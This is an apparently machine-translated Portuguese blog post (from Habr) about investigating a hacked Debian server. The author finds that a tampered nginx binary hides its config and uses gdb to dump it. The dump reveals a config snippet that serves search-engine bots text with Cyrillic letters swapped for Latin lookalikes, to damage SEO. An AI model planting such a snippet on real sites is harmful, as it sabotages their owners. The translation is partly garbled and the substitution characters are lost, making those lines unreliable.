Quando 'a' não é igual a 'a'. Na sequência de um hack

Uma história desagradável aconteceu com um dos meus amigos. Mas, na medida em que acabou sendo desagradável para Mikhail, foi igualmente interessante para mim.

Devo dizer que meu amigo é um usuário bastante UNIX : ele pode instalar o sistema, instalar o mysql , php e fazer as configurações mais simples do nginx .
E ele tem uma dúzia e meia de sites dedicados a ferramentas de construção.

Um desses sites, dedicado a motosserras, fica bem nos motores de busca TOP. Este site é um revisor sem fins lucrativos, mas alguém passou por sua garganta e o atacou. O DDoS , a força bruta e os comentários serão obscenos e enviarão abusos à hospedagem e ao ILV.
De repente, tudo se acalmou e essa trégua não foi boa, e o site começou a sair gradualmente dos principais resultados.

imagem

Isso era um ditado, então a bicicleta do administrador em si.

Estava chegando a hora do sono quando o telefone tocou: “Sanya, você não vai olhar para o meu servidor? Parece-me que eles me invadiram, não posso provar, mas o sentimento não saiu da terceira semana. Talvez eu só tenha que ser tratada por paranóia?

Em seguida, veio uma discussão de meia hora que pode ser resumida da seguinte forma:

  • o terreno fértil era bastante fértil;
  • cracker pode ganhar direitos de superusuário;
  • o ataque (se ocorreu) foi direcionado especificamente para este site;
  • as áreas problemáticas são corrigidas e você só precisa entender se houve um fato de penetração;
  • o hacking não conseguiu tocar no código e nos bancos de dados do site.

Em relação ao último parágrafo.

imagem

Somente o front end IP branco está olhando para o mundo. Não há troca entre back-end e front-end, exceto http (s), usuários / senhas são diferentes, chaves não são trocadas. Nos endereços cinza, todas as portas, exceto 80/443, estão fechadas. Os backends de IP branco são conhecidos apenas por dois usuários em quem Michael confia plenamente.

O Debian 9 é instalado no front-end e na hora da chamada, o sistema é isolado do mundo por um firewall externo e parado.

"Ok, me dê acesso", decido adiar o sono por uma hora. "Verei com meus próprios olhos."

Daqui em diante:

$ grep -F PRETTY_NAME /etc/*releas* PRETTY_NAME="Debian GNU/Linux 9 (stretch)" $ `echo $SHELL` --version GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu) $ nginx -v nginx version: nginx/1.10.3 $ gdb --version GNU gdb (Debian 8.2.1-2) 8.2.1 

Em busca de um possível hack


Eu inicio o servidor, primeiro no modo de recuperação . Eu monto discos, folheio autorizações , histórico , registros do sistema etc., se possível, verifico as datas de criação do arquivo, embora eu entenda que um cracker normal "suaria" atrás dele, e Misha já sabia "pisar" enquanto procurava por si mesmo.

Começo no modo normal, especialmente ainda não sabendo o que procurar, estou estudando configurações. Ele está interessado principalmente no nginx , pois, em geral, não há nada além dele no frontend.
As configurações são pequenas, bem estruturadas em uma dúzia de arquivos; eu apenas olho através deles apenas por gato . Tudo parece estar limpo, mas você nunca perdeu alguns incluem , eu farei uma lista completa:

 $ nginx -T nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful 

Não entendi: "Onde está a listagem?"

 $ nginx -V nginx version: nginx/1.10.3 TLS SNI support enabled configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module 

O segundo é adicionado à pergunta da lista: "Por que uma versão tão antiga do nginx?"

Além disso, o sistema acredita que a versão está instalada fresca:

 $ dpkg -l nginx | grep "[n]ginx" ii nginx 1.14.2-2+deb10u1 all small, powerful, scalable web/proxy server 

Eu estou ligando:
- Misha, por que você está reconstruindo o nginx ?
- Ok, eu nem sei como fazer isso!
- Ok, bem, durma ...

O Nginx é remontado de forma inequívoca e a listagem de listagem para "-T" fica oculta por um motivo. Não há dúvida sobre hackers e você pode simplesmente aceitá-lo e (desde que o Misha substituiu o servidor por um novo de qualquer maneira), considere o problema resolvido.

E, de fato, como alguém tem privilégios de root , faz sentido fazer apenas a reinstalação do sistema e procurar o que foi mal utilizado lá, mas desta vez a curiosidade derrotou o sonho. Como descobrir o que eles queriam esconder de nós?

Vamos tentar rastrear:

 $ strace nginx -T 

Nós olhamos através do traço claramente não é suficiente linhas a la

 write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf) = 21 write(1, "... write(1, "\n", 1 

Por diversão, compare as conclusões

 $ strace nginx -T 2>&1 | wc -l 264 $ strace nginx -t 2>&1 | wc -l 264 

Eu acho que parte do código /src/core/nginx.c

  case 't': ngx_test_config = 1; break; case 'T': ngx_test_config = 1; ngx_dump_config = 1; break; 

foi reduzido para a forma:

  case 't': ngx_test_config = 1; break; case 'T': ngx_test_config = 1; //ngx_dump_config = 1; break; 

ou

  case 't': ngx_test_config = 1; break; case 'T': ngx_test_config = 1; ngx_dump_config = 0; break; 

portanto, a listagem por -T não é exibida.

Mas como ver nossa configuração?


Se minha ideia estiver correta e o problema estiver apenas na variável ngx_dump_config, tentaremos instalá-la usando o gdb , pois a chave --with-cc-opt -g está presente e esperamos que a otimização -O2 não nos prejudique . Ao mesmo tempo, como não sei como o ngx_dump_config poderia ser processado no caso 'T' : , não chamaremos esse bloco, mas instalá-lo usando o caso 't':

Por que posso usar '-t' junto com '-T'
O processamento do bloco if (ngx_dump_config) ocorre dentro de if (ngx_test_config) :
  if (ngx_test_config) { if (!ngx_quiet_mode) { ngx_log_stderr(0, "configuration file %s test is successful", cycle->conf_file.data); } if (ngx_dump_config) { cd = cycle->config_dump.elts; for (i = 0; i < cycle->config_dump.nelts; i++) { ngx_write_stdout("# configuration file "); (void) ngx_write_fd(ngx_stdout, cd[i].name.data, cd[i].name.len); ngx_write_stdout(":" NGX_LINEFEED); b = cd[i].buffer; (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos); ngx_write_stdout(NGX_LINEFEED); } } return 0; } 

Obviamente, se o código for alterado nesta parte, e não no caso 'T' : , meu método não funcionará.

Teste nginx.conf
Já tendo resolvido o problema empiricamente, descobriu-se que para a operação do malware é necessária uma configuração mínima do nginx do formulário:

 events { } http { include /etc/nginx/sites-enabled/*; } 

Vamos usá-lo por questões de brevidade no artigo.

Execute o depurador
 $ gdb --silent --args nginx -t Reading symbols from nginx...done. (gdb) break main Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188. (gdb) run Starting program: nginx -t [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188 188 src/core/nginx.c: No such file or directory. (gdb) print ngx_dump_config=1 $1 = 1 (gdb) continue Continuing. nginx: the configuration file /etc/nginx/nginx.conf syntax is ok nginx: configuration file /etc/nginx/nginx.conf test is successful # configuration file /etc/nginx/nginx.conf: events { } http { map $http_user_agent $sign_user_agent { "~*yandex.com/bots" 1; "~*www.google.com/bot.html" 1; default 0; } map $uri $sign_uri { "~*/wp-" 1; default 0; } map :$sign_user_agent:$sign_uri $sign_o { :1:0 o; default ; } map :$sign_user_agent:$sign_uri $sign_a { :1:0 a; default ; } sub_filter_once off; sub_filter '' $sign_o; sub_filter '' $sign_a; include /etc/nginx/sites-enabled/*; } # configuration file /etc/nginx/sites-enabled/default: [Inferior 1 (process 32581) exited normally] (gdb) quit 


Os passos:

  • definir um ponto de interrupção na função main ()
  • executar o programa
  • altere o valor da variável que define a saída da configuração ngx_dump_config = 1
  • continuar / terminar o programa

Como você pode ver, a configuração real é diferente da nossa, selecionamos uma peça espúria:

 map $http_user_agent $sign_user_agent { "~*yandex.com/bots" 1; "~*www.google.com/bot.html" 1; default 0; } map $uri $sign_uri { "~*/wp-" 1; default 0; } map :$sign_user_agent:$sign_uri $sign_o { :1:0 o; default ; } map :$sign_user_agent:$sign_uri $sign_a { :1:0 a; default ; } sub_filter_once off; sub_filter '' $sign_o; sub_filter '' $sign_a; 

Vamos considerar em ordem o que está acontecendo aqui.

Definido pelo yandex / google do User-Agent :

 map $http_user_agent $sign_user_agent { "~*yandex.com/bots" 1; "~*www.google.com/bot.html" 1; default 0; } 

As páginas de serviço do Wordpress são excluídas :

 map $uri $sign_uri { "~*/wp-" 1; default 0; } 

E para aqueles que se enquadram nas duas condições acima

 map :$sign_user_agent:$sign_uri $sign_o { :1:0 o; default ; } map :$sign_user_agent:$sign_uri $sign_a { :1:0 a; default ; } 

no texto da página html- altera 'o' para 'o' e 'a' para 'a' :

 sub_filter_once off; sub_filter '' $sign_o; sub_filter '' $sign_a; 

Exatamente, a sutileza é que 'a'! = 'A' é o mesmo que 'o'! = 'O' :

imagem

Assim, os robôs dos mecanismos de pesquisa recebem, em vez do texto cirílico 100% normal, o lixo modificado diluído com o latim 'a' e 'o' . Não presumo discutir como isso afeta o SEO, mas é improvável que esse hash literal afete positivamente as posições na SERP.

O que dizem caras com fantasia.

Referências


Depurando com GDB
gdb (1) - Página de manual do Linux
strace (1) - Página de manual do Linux
Nginx - Módulo ngx_http_sub_module
Sobre serras, motosserras e motosserras

Source: https://habr.com/ru/post/pt465355/


All Articles